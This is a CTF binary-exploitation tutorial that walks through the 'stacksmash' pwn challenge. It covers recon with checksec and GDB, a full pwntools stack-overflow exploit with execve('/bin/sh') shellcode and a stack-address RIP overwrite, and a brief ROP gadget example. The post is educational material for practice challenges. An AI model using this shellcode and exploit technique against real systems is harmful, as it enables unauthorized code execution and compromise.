Binary Exploitation CTF Challenges: Step-by-Step

At DEF CON 34, a 300-point pwn challenge called stacksmash stumped hundreds of teams because they skipped the recon phase and jumped straight to fuzzing. The ones who solved it first spent fifteen minutes just reading what the binary was telling them. That discipline — slow down, enumerate, then exploit — is exactly what separates consistent CTF scorers from frustrated ones.

This post walks through the exact workflow: from dropping a binary on your machine to popping a shell, using real tools and real output at every step.

Step 1: Enumerate the Binary Before You Touch It

Your first job is intelligence gathering. The binary will tell you everything you need to know — if you ask correctly.

ctf@kali:~/challenges$ file stacksmash\nstacksmash: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped\n\nctf@kali:~/challenges$ checksec --file=stacksmash\n[*] '/home/ctf/challenges/stacksmash'\n    Arch:     amd64-64-little\n    RELRO:    Partial RELRO\n    Stack:    No canary found\n    NX:       NX disabled\n    PIE:      No PIE (0x400000)

What this output means: No stack canary means you can overwrite the return address without triggering an abort. NX disabled means the stack is executable — you can inject shellcode directly. No PIE means the binary loads at a fixed base address (0x400000), so your addresses won’t change between runs. This is a beginner-to-intermediate pwn challenge, and the attack surface is wide open.

The next question is: how many bytes until you hit the return address? Run the binary under GDB with a cyclic pattern to find out.

ctf@kali:~/challenges$ python3 -c "from pwn import *; print(cyclic(200))" | ./stacksmash\nEnter your name: Segmentation fault (core dumped)\n\nctf@kali:~/challenges$ gdb -q stacksmash core\nReading symbols from stacksmash...(no debugging symbols found)\nCore was generated by './stacksmash'.\nProgram terminated with signal SIGSEGV, Segmentation fault.\n#0  0x0000000000400631 in ?? ()\n(gdb) info registers rsp\nrsp            0x7fffffffde38      0x7fffffffde38\n(gdb) x/gx $rsp\n0x7fffffffde38: 0x6161616b61616161\n(gdb) python3 -c "from pwn import *; print(cyclic_find(0x6161616b61616161))"

Run that last command in a separate terminal. cyclic_find tells you the exact byte offset before the return address — in this case, 72 bytes. Everything after byte 72 overwrites RIP. That’s your exploit offset.

Step 2: Build and Fire the Exploit

With the offset confirmed and NX disabled, the classic approach is to place shellcode on the stack and redirect execution to it. You need a stack address to jump to — get it from GDB while ASLR is disabled locally, or leak it from the binary if the challenge provides a format string or info leak.

Here’s a minimal working exploit using pwntools — the Python library that handles payload construction, process interaction, and remote connections in one clean API.

#!/usr/bin/env python3\nfrom pwn import *\n\n# Connect locally for testing, swap to remote for submission\n# p = remote('192.0.2.47', 4444)\np = process('./stacksmash')\n\n# x86-64 execve('/bin/sh') shellcode — 27 bytes\nshellcode = b\"\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\"\nshellcode += b\"\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\"\nshellcode += b\"\\x3b\\x0f\\x05\"\n\noffset = 72\n\n# Leak stack pointer from binary's own printf (challenge provides this)\np.recvuntil(b'Stack is at: ')\nstack_leak = int(p.recvline().strip(), 16)\nlog.info(f'Stack leak: {hex(stack_leak)}')\n\npayload = shellcode\npayload += b'A' * (offset - len(shellcode))\npayload += p64(stack_leak)   # overwrite RIP with stack address\n\np.sendline(payload)\np.interactive()

What happens when you run this: The script receives the stack address the binary helpfully prints (a common CTF scaffolding), calculates how much padding fills the gap between the shellcode and the return address slot, then fires the payload. p.interactive() drops you into a live shell session. From there you cat flag.txt and submit.

If the remote target is at 192.0.2.47:4444 — a typical CTF server setup — swap process() for remote(), rerun, and collect your points.

Step 3: When the Easy Path Is Blocked — Return-Oriented Programming

Real challenges often enable NX. That kills injected shellcode. The fix is ROP (Return-Oriented Programming) — chaining small existing code snippets called gadgets to build your exploit from the binary’s own instructions.

ctf@kali:~/challenges$ ROPgadget --binary stacksmash | grep "pop rdi"\n0x00000000004006d3 : pop rdi ; ret

That single gadget lets you control the first function argument on x86-64. Chain it with the address of /bin/sh in memory and a call to system(), and you have a shell without ever injecting a single byte of your own code. ROPgadget — a tool that scans a binary and lists all usable gadgets — does the heavy lifting of finding those addresses.

What To Do Now

Go to pwn.college right now and start the Program Misuse module. It gives you a live Linux environment, a vulnerable binary, and a flag to capture — no setup required. Run checksec on the provided binary before you do anything else, note what protections are missing, and build your attack plan from there. One challenge today is worth ten hours of reading about exploitation theory.